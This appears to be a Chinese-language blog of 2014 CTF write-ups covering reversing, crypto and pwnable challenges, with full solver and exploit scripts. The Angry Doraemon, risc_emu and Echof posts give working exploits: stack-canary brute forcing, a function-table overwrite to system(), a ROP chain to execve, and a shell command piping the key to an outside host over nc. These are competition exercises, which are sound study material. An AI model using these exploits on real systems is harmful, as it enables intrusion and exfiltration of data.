217's Blog

over 9 years ago

Boston Key Party CTF 2014 Decrypt Img

Reversing 200, PE 32bit 和一張加密過的 bmp 圖片
https://github.com/csie217/ctf/raw/master/boston-key-party-2014/decryptimg.zip

加密的過程在 cryptdll.dll，首先由 54 bytes 的原 key 生成加密用的 key' 和原/密文 xor，之後每 54 個 byte 重新生成 key 一次。重新生成 key 的過程差不多是 srand(hash) 然後 rand() 出 54 個值，基本上很難處理。但最一開始 54 byte 的生成是很簡單的

for( int i=1; i<54; i++ ){
    key[i] = key[i-1]^key[i]^i;
}

我們可以猜測 BMP header 的樣子，xor 後可以直接解出原 key: key[i] = plain[i]^cipher[i]^i^plain[i-1]^cipher[i-1]。BMP header 中除了長寬不確定外，其它的值大致上是固定的。因此我們可以枚舉可能的長寬 (width * height = (1440054-54)/3)，然後看解出的圖片正不正確就行了。解出圖片 (800x600) 如下:

March 02, 2014 15:00
Permalink

over 9 years ago

Boston Key Party CTF 2014 risc_emu

Pwning 100, ELF x64: https://github.com/csie217/ctf/raw/master/boston-key-party-2014/emu

分析一下 binary，發現是個吃 bytecode 的模擬器，固定指令長度 4 byte。模擬器本身沒有漏洞，但亂戳一陣會發現: 指令太長會或跑太多次會噴 error: *** HEAP FUCKERY DETECTED ***。原因是每次的執行結果都會存在 stack 上，太多次的話會覆蓋到檢查 buffer overflow 的 guard；指令太長的話則是會覆蓋掉檢查用的 magic-number。每回的流程大概是這樣:

讀入 bytecode
檢查 guard == magic-number，magic-number 是一開始 srand(time(0)) 生成的，如果不相等就噴 error
執行 bytecode
執行結果 push 到一個 local array 上，並且把上一次的結果清 0

輸入指令的 buffer 在 0x604B80，magic-number 在 0x604C00，再往下則有模擬器做 system call 用的 function table (0x604C10)。試試看可不可以把它蓋成 system() (0x0410d0)，只是要想辦法突破 guard == magic-number 這關。雖然 srand(time(0)) 應可以直接計算出來，不過我們用的方法是這樣:

執行回傳值為 0 的 bytecode 02000000 (R0 = R0 - R0) 11 次。第 11 次剛好會蓋住 guard，把它改成 0。
過長的 bytecode 0000 ... 0000。這是合法的指令，而且剛好在下次檢查前把 magic-number 也改為 0。

完整的 exploit 如下:

def R(s):
    print s.encode('base64').replace('\n','')

for i in range(0,11):
    R('\x02\x00\x00\x00')
cmd = '\x00cat key\x00'
R(cmd+'\x00'*(144-len(cmd))+'\xd0\x10\x40\x00\x00\x00\x00\x00')

執行後得到 key

seanwu:~/bkp$ python ./emu.py | nc 54.218.22.41 4545
RISC CPU Emulator BkP 2014
Give me your bytecode!
Please give me your bytecode base64'd:
Got it, executing AgAAAA== now!
sub r[0], r[0], r[0]
Returning value of 0x0
Resetting VM.....
Please give me your bytecode base64'd:
Got it, executing AgAAAA== now!

... (略)

sub r[0], r[0], r[0]
Returning value of 0x0
Resetting VM.....
Please give me your bytecode base64'd:
Got it, executing AGNhdCBrZXkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0BBAAAAAAAA= now!
flag{stupid_boston_leprechauns_and_geohots}
I don't recognize opcode 0x20

March 02, 2014 14:10
Permalink

over 9 years ago

Codegate CTF Preliminary 2014 Angry Doraemon Writeup

Pwnable 250, 原題目 server https://github.com/csie217/ctf/raw/master/codegate2014pre/angry_doraemon
連上 port 8888 會有一些操作可以作。分析 server 後找到一些可疑的部份:

sub_8048B30 (1.Sword)

if ( HP_dword_804B078 == 31337 )
    execl("/bin/sh", "sh", 0);

sub_8048FC6 (4.Throw mouse)

int buf; // [sp+22h] [bp-16h]@1
...
write(fd, "Are you sure? (y/n) ", 0x14u);
read(fd, &buf, 110u);
...
result = *MK_FP(__GS__, 20) ^ v10;
if ( *MK_FP(__GS__, 20) != v10 )
    __stack_chk_fail(v2, v1);
return result;

sub_8049100 (5.Fist attack)

write(fd, "(special attack?!)\n", 0x13u);
read(fd, &buf, 4u);
if ( BYTE3(buf) == 8 ) goto LABEL_8;
buf();

其中 Fist attack 裡雖然可以直接 call 某個地址，但因為 ASLR 沒有辦法準確跳到 shared library 裡，且因為 filter 的關係沒辦法跳到程式本身的其它地方。在 Sword 裡有個血量為 31337 時就開 shell 的代碼，但血量被控制在 0~100 之間，而且就算有 /bin/sh 也沒用，因為 read/write 是從 socket 送回來的 (fd=4)。

所以我們在 Throw mouse 中進行溢出，但有 stack guard 需要想辦法處理。因為這個 service 是直接 fork() 出來的，而且沒有隨機 stack guard 的部份，所以是固定的值。我們可以每次多覆蓋一個 byte 並嘗試值 0~255，如果 crash 了就代表錯了，否則就是該 byte 的正確值。這樣我們可以一個個 byte 試出 stack guard (0x84c38b00), 前個 stack frame 的 ebp (0xbfb0a7f8), return address, socket fd 等 stack 上的數值。

可以跳轉任意位址後，我們就可以跳到 Sword 裡的 call execl() (位址在 0x08048c79)，但參數要先準備好。我們在本地開了 port 8889 接收 server 上 nc 回來的結果。execl() 的參數為 /bin/sh, sh (借用原本就有的 0x0804970d, 0x0804970a), -c, cat key | nc 140.112.XXX.XXX 8889 (由前個 frame 的 ebp 可以推算出它們的位址 0xbfb0a7d4, 0xbfb0a7d8)。完整代碼如下:

import time
import socket
import sys

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('58.229.183.18',8888))
while True:
    s = st.recv(1000)
    if 'Give up\n>' in s:
        break
st.send('4\n')
print st.recv(4096)
st.send('nnnnaaaabb\x00\x8b\xc3\x84\x00\x00\x00\x00\x00\x00\x00\x00\xf8\xa7\xb0\xbf'+\
        '\x79\x8c\x04\x08'+'\x0d\x97\x04\x08'+'\x0a\x97\x04\x08'+\
        '\xd4\xa7\xb0\xbf'+'\xd8\xa7\xb0\xbf'+'\x00\x00\x00\x00'+\
        '-c\x00\x00'+'ls -la | nc 140.112.XXX.XXX 8889\x00')

本地接收到 key

$ nc -vvlp 8889
listening on [any] 8889 ...
58.229.183.18: inverse host lookup failed: Unknown host
connect to [140.112.XXX.XXX] from (UNKNOWN) [58.229.183.18] 43136
CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP
 sent 0, rcvd 35

February 24, 2014 21:58
Permalink

over 9 years ago

Codegate CTF Preliminary 2014 Clone Technique Writeup

Reversing 250, 原題目 https://github.com/csie217/ctf/raw/master/codegate2014pre/clone_technique.exe
PE 檔，執行的話會一直分出新的 process 執行自己。分析後發現

執行時需要 3 個參數 a1, a2, counter，如果沒有的話有預設值 (a1=0xA8276BFA,a2=0x92F837ED,counter=1)
參數 a1, a2 傳入一個 decrypt 函式，會試著解密一個固定的字串 (0x00407030)
a1 符合某個條件時，不會 fork 而是直接回傳一個值；否則依底下的方式 fork，結束後回傳 0。
接下來會 fork 出新的 process 執行自己，會等 child 結束再開下一個，最多 400-counter 次 (如果 child 回傳 0 就提前結束) 。傳入 child 的參數是 a1, a2 和上一個 child 的回傳值運算過的結果、還有 counter-1

因為只要有任何一個 child 回傳 0，就會全部結束掉了；但如果 child 的回傳值不是 0，意思是這個 child 沒有再往下分枝。另外每往下一層 counter 都會減 1。所以最差情況是: 前 399-counter 次的 child 回傳值非 0，最後一次是 0。這樣每層最多 401 個 process，乘上總層數就大約只有 160000 次。

但 process 數可能因為太多開不起來，而且太慢。因此我們重新寫了一遍，所做的事情完全一樣只是不 fork 而只是遞迴函式。另外原本的程式中有個計算 a^n 的函式 pow(a,n) 是直接用迴圈乘 n 次所以太慢了，我們把它換成了快速幂。還有重新寫成 C 時要注意，原本的 imul, div 這些都會直接 overflow，要注意變數是 signed 還是 unsigned。

重新寫成 C code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char *str="\x0F\x8E\x9E\x39\x3D\x5E\x3F\xA8"\
                 "\x7A\x68\x0C\x3D\x8B\xAD\xC5\xD0"\
                 "\x7B\x09\x34\xB6\xA3\xA0\x3E\x67\x5D\xD6";

inline int ROL(int a,int b){
    return (a<<b)|((unsigned)a>>(32-b));
}

char* decode(const char *a1,int a2,int a3){
    int i;
    int size;
    char *v8;

    size = strlen(a1);
    v8 = (char*)malloc(size+1);
    memset(v8,0,size);
    for(i = 0;i < (size - 1);i += 2){
        v8[i] = a2 ^ a1[i];
        a2 = ROL(a2,5)^0x2f;
        if(!a1[i + 1]){
            break;
        }
        v8[i + 1] = a3 ^ a1[i + 1];
        a3 = ((unsigned char)a2)^ROL(a3,11);
    }

    return v8;
}

inline int pow(int a,unsigned int b){
    if(b==0) return 1;
    int d = pow(a,b/2);
    if(b%2){
        return d*d*a;
    }else{
        return d*d;
    }
}

int calc(int a1,int a2,int ct){
    printf("%s\n",decode(str,a1,a2));
    a1^=0xB72AF098u;
    a2 = (a1*a2)^a2;
    int v1 = 29*a1+7*pow(a1,2);
    int v6 = pow(v1^a2,((unsigned)v1%2)+5);
    if((unsigned int)a1<=0xD0000000u){
        int ret;
        do{
            if(ct>400) return 0;
            ct++;
            ret = calc(v1,v6,ct);
            v1 = ret;
            v6 = pow(ret^v6,ret%30);
        }while(ret);
        return 0;
    }else{
        return (13*((unsigned)v1/27))^0x1f2a990d;
    }
}

int main(){
    calc(0xA8276BFA,0x92F837ED,1);
    return 0;
}

執行後解出 key

$ ./clone | strings -n 10
And Now His Watch is Ended

February 24, 2014 17:28
Permalink

over 9 years ago

Olympic CTF 2014 Nopsleigh 300 Echof Writeup

這是一題 ELF pwnable 題，它包含了 format string 和 buffer overflow 漏洞。Stack 不能執行，而且一直沒辦法確定 library 的版本所以找不到 system()，就試試看 ROP 好了，然後因為不熟所以卡了很久 XD。不過賽後看到別人的 writeup 好像有掃到 library 版本之類的就是了，應該是努力掃一下就可以找到的東西。

先 decompile 一下，main function 大概長這樣:

int __cdecl main()
{
    int result; // eax@1
    int v1; // ecx@1
    signed int i; // [sp+30h] [bp-110h]@2
    size_t v3; // [sp+34h] [bp-10Ch]@3
    void *v4; // [sp+38h] [bp-108h]@5
    int v5; // [sp+3Ch] [bp-104h]@1
    int v6; // [sp+13Ch] [bp-4h]@1

    v6 = *MK_FP(__GS__, 20);
    puts("pw?");
    fflush(stdout);
    read(0, &v5, 8u);
    result = memcmp(&v5, "letmein\n", 8u);
    if ( !result )
    {
        for ( i = 0; i <= 15; ++i )
        {
            puts("msg?");
            fflush(stdout);
            bzero(&v5, 0x100u);
            read(0, &v5, 0x80u);
            v3 = strlen((const char *)&v5);
            if ( strchr((const char *)&v5, 'n') )
            {
                result = puts("i hate this symbol!");
                break;
            }
            v4 = mmap((void *)0x11111000, 0x1000u, 3, 50, -1, 0);
            if ( v4 == (void *)-1 || !v4 )
            {
                perror("mmap");
                exit(-1);
            }
            *((_DWORD *)v4 + 33) = 'ruoY';
            *((_DWORD *)v4 + 34) = 'sem ';
            *((_DWORD *)v4 + 35) = 'egas';
            *((_DWORD *)v4 + 36) = 'd%( ';
            *((_DWORD *)v4 + 37) = 'tyb ';
            *((_DWORD *)v4 + 38) = ':)se';
            *((_DWORD *)v4 + 39) = '\ns% ';
            *((_BYTE *)v4 + 160) = 0;
            *((_DWORD *)v4 + 32) = (char *)v4 + 132;
            strncpy((char *)v4, (const char *)&v5, 0x80u);
            *((_BYTE *)v4 + v3) = 0;
            sprintf((char *)&v5, *((const char **)v4 + 32), v3, v4);
            puts((const char *)&v5);
            fflush(stdout);
            result = munmap(v4, 0x1000u);
        }
    }
    if ( *MK_FP(__GS__, 20) != v6 )
        _stack_chk_fail(v1, *MK_FP(__GS__, 20) ^ v6);
    return result;
}

Format String 漏洞

首先 pw 要輸入 letmein，接下來它會 echo 輸入共 16 次。它會先在 0x11111000 mmap 一塊 memory (只能讀寫)，
把輸入字串拷貝到 v4，並在 v4+132 組好輸出用的 format string，Format string 的位址會先存到 v4+32 再傳給 sprintf。

有漏洞的地方是用來截斷輸入字串的 *((_BYTE *)v4 + v3) = 0;。由於先前的 read(0, &v5, 0x80u);，輸入的字串最長可以到 128 byte，這樣一來剛好會蓋到 v4+32 的最低位，所以原本的 format string 位址是 0x11111084，現在被蓋掉後會變成 0x11111000，即為輸入字串被拷貝到的 v4。因此我們可以控制 format string，不過一開始檢查了輸入字串有沒有 'n' 這個字元，無法用 format string 進行寫入。

Buffer Overflow 漏洞

這裡的 sprintf((char *)&v5, *((const char **)v4 + 32), v3, v4); 會造成 buffer overflow。雖然輸入長度被限制在 128 以下，但我們可以用像 %200c 這樣的方式造出任意長度的字串，所以 v5 是會被 overflow 的。

另外，雖然這個程式使用了 StackGuard，但我們可以利用 format string 漏洞把檢查值 v6 先讀出來，buffer overflow 時寫回同樣的值就行了。

Exploit

利用 format string 印出記憶體內容，我們可以定位出一些位址:

%82$x 是 main function 的 return address。這個在 libc 裡面，可以用來掃 library 的內容。
(%113$x)-0x9c 是 ebp, 由 argv 所指到的 argv[0] 的位址加上 offset 得到。
(%16$s...,ebp-0x14c)-0xbb8 這是程式被載入的基底位址，由 sprintf 的 return address得到。後來發現其實這個和 main function 的 return address 之間的 offset 是固定的就是了。
read() 的位址，等一下會用到。因為 main 裡有 call read()，很容易就可以算出來。

接下來要想辦法開個 shell，因為 stack 不能執行所以試試 ROP 看看。
首先找到需要的 ROPgadget，雖然 library 內的位址不太一樣，
但可以 dump 出一段後在本地找出相對的位址。
努力的找了一陣，找出 call execve() 需要用的 (eax,ebx,ecx,edx,int 0x80)

ret = b75514d3
ebp = 0xbfbe0f38
base =  0xb770c000
eax: ret + 0xab6c 58c390909090909090909090909090909083ec2c895c241ce8876e10
ebx: base + 0x711 5bc3
ecx edx: ret + 0x14aa8 595ac3909031c08b542404891a897204897a088d4c240465330d18
int 80: ret + 0x14db2 cd809058b877

接下來還有一件很麻煩的事情，就是輸入的字串中不可以用 \x00，所以我們先造了一個 read()，這樣可以直接把值讀到 stack 上造出 ROP chain。Call read() 的參數中還是會有 \x00，我們可以反著蓋回來，用字串結尾的 \x00 來填上。StackGuard的最低位也是 \x00，用一樣的方法補上。

read(0,addr,0x10101);
|  read  |  retN  |  zero  |  addr  |010101--
|  read  |  retN  |ffffff--|  addr  |01010100
|  read  |  retN  |ffff--00|  addr  |01010100
|  read  |  retN  |ff--0000|  addr  |01010100
|  read  |  retN  |--000000|  addr  |01010100
|  read  |  retN  |00000000|  addr  |01010100

接下來就可以 read() 任意的數據到 stack 上了:

ebp+
0c 0x0b          execve -> eax
10 base+0x711    pop ebx; ret;
14 ebp +0x28     '/bin/sh' -> ebx
18 ret +0x14aa8  pop ecx; pop edx; ret;
1c ebp +0x30     argv -> ecx
20 ebp +0x3c     env -> edx
24 ret +0x14db2  int 0x80;
28 '/bin/sh\x00' 
30 ebp +0x28     argv[0]
34 ebp +0x40     argv[1]
38 ebp +0x44     argv[2]
3c 0x0           
40 '-c\x00\x00'
44 'cat flag'

完整的 exploit 在這裡:
https://raw2.github.com/csie217/ctf/master/olympic-ctf-2014/pwn300.py

February 12, 2014 17:41
Permalink

over 9 years ago

Olympic CTF 2014 Figure Crypting 300 GuessGame Writeup

亂試了一陣，觀察並猜測的結論如下

第一次 mix 的兩個數字，第一個當 1，第二個當 g (base)
mix 是模某個質數 P 下的乘法
題目問 how much A in B，意思是求出 x 使 A^x = B
inv x = x^(-1)

所以這是一個離散對數問題，題目的數字範圍卡得很緊 (它其實會故意生成最差的情況)，所以要小心處理。
限制 mix + guess 總共 251 次，inv 不計次數，我們可以用 Pollard's rho algorithm，最差情況下花 O(sqrt(P)) 步解出。

sha1prefix.cpp

#include <bits/stdc++.h>
#include <openssl/sha.h> // man 3 sha1

// g++ sha1prefix.cpp -o sha1prefix -Ofast -lcrypto
// ./sha1prefix bedca4b89c129c89

int main(int argc, char *argv[]) {
    int n = strlen(argv[1]) / 2, x;
    unsigned char s[64] = {}, h[64];
    for (int i = 0; i < n; i++) {
        sscanf(argv[1] + 2*i, "%2x", &x);
        s[i] = x;
    }
    while (true) {
        for (int i = n; ++s[i] == 0; i++);
        SHA1(s, n + 4, h);
        if (!h[0] && !h[1] && !h[2]) break;
    }
    for (int i = 0; i < n + 4; i++) printf("%02x", s[i]);
    puts("");
}

guess.rb

#!/usr/bin/env ruby


require 'socket'

$sock = TCPSocket.new('109.233.61.11', 3126)

def send(s)
  puts s
  $sock.puts s
  res = $sock.gets
  puts res
  res.split.first
end

def mix(x, y)
  send "mix #{x} #{y}"
end

def inv(x)
  send "inv #{x}"
end

def guess(x)
  send "guess #{x}"
end

lines = 4.times.map { $sock.gets }
puts lines

prefix = lines[1].split.last
s = `./sha1prefix #{prefix}`
puts s
$sock.puts s

lines = 5.times.map { $sock.gets }
puts lines
a, b = lines[1].scan(/'(.*?)'/).flatten

inv('one')

Q = 120 # Q + P / (2Q) <= 251

pow_of_a = {
  0 => 'one',
  +1 => a,
  -1 => inv(a)
}

(2..Q).each do |i|
  pow_of_a[+i] = mix(a, pow_of_a[i-1])
  pow_of_a[-i] = inv(pow_of_a[i])
end

step = mix(pow_of_a[-Q], pow_of_a[-Q]) # a ^ (-2Q)

k = 0
now = b
until pow_of_a.has_value?(now) do
  now = mix(now, step)
  k += 1
end

t = pow_of_a.rassoc(now).first
guess(t + k * 2 * Q) # b * a^(k * -2Q) = a^t

February 10, 2014 15:17
Permalink

over 9 years ago

Olympic CTF 2014 Figure Crypting 200 mic Writeup

原題目 server https://raw2.github.com/csie217/ctf/master/olympic-ctf-2014/mic_server.py
不難的 crypto 一枚。python server 要求一個大質數 p 和基底 g，FLAG 是 int(flag.encode('hex'),16)， server 會回傳

( pow( g * FLAG, FLAG, p ) * FLAG + FLAG ) % p

我們已知 flag 的形式是 CTF{...} 這樣，所以 FLAG 是個奇數。對於一個質數 p，我們選兩個不同基底 g 和 -g，則

( pow( g * FLAG, FLAG, p ) * FLAG + FLAG ) % p + ( pow( -g * FLAG, FLAG, p ) * FLAG + FLAG ) % p
= ( pow( g * FLAG, FLAG, p ) * FLAG + FLAG - pow( g * FLAG, FLAG, p ) * FLAG + FLAG ) % p
= ( FLAG * 2 ) % p

由於 p 的範圍限制，我們沒辦法直接得到 FLAG。故選三個不同的質數，再用中國餘數定理組合起來

import os
import random

def gcd(a, b):
    while b:
        a, b = b, a % b
    return abs(a)
    
def check_prime(p):
    """Miller-Rabin test"""
    if p & 1 == 0:
        return False
    m = p - 1
    s = 0
    while m & 1 == 0:
        m >>= 1
        s += 1
    for j in range(100):
        a = random.randint(2, p - 2)
        if gcd(a, p) != 1:
            return False
        b = pow(a, m * (1 << s), p)
        if b in (0, 1, p - 1):
            continue
        for i in range(s):
            b = pow(b, 2, p)
            if b == 1:
                return False
            if b == p - 1:
                if i < s - 1:
                    break
                else:
                    return False
        else:
            return False
    return True

n1 = 2**107-1
p1 = 93350567636530487152013873049335L
q1 = 143579515663584348734195650554369L
k1 = ((p1+q1)*pow(2,n1-2,n1))%n1

n2 = 1569275433846670190958947355801916604025588861116008628353
p2 = 384733450628775009296876869566896388560082127522333689371
q2 = 1292046548332604151018479737742990026174325571269708515885
k2 = ((p2+q2)*pow(2,n2-2,n2))%n2

n3 = 1292046548332604151018479737742990026174325571269708516021
p3 = 1141556213792204741466186809174330309943785447071641866426
q3 = 539840925477520043245085799373981523213927002400487030840
k3 = ((p3+q3)*pow(2,n3-2,n3))%n3

def ext_euclid(a, b) :
    if b == 0 :
        return (a, 1, 0)
    else :
        (d, xx, yy) = ext_euclid(b, a % b)
        x = yy
        y = xx - (a / b) * yy
        return (d, x, y)

def inverse(a, n):
    return ext_euclid(a, n)[1]

k = 3
a = [k1,k2,k3]
n = [n1,n2,n3]
N = []
b = []
n_product = reduce(lambda x, y: x * y, n, 1)

for i in xrange(0, k):
    N_term = 1
    for j in xrange(0, k):
        if i != j:
            N_term = N_term * n[j]
    N.append(N_term)
for i in xrange(0, k):
    b.append(inverse(N[i], n[i]))
x = 0
for i in xrange(0, k):
    x = x + a[i] * N[i] * b[i] % n_product
x = x%(n1*n2*n3)

print hex(x)[2:-1].decode('hex')

CTF{cf5246e06b13432b9e1116ddef226455}

February 10, 2014 00:23
Permalink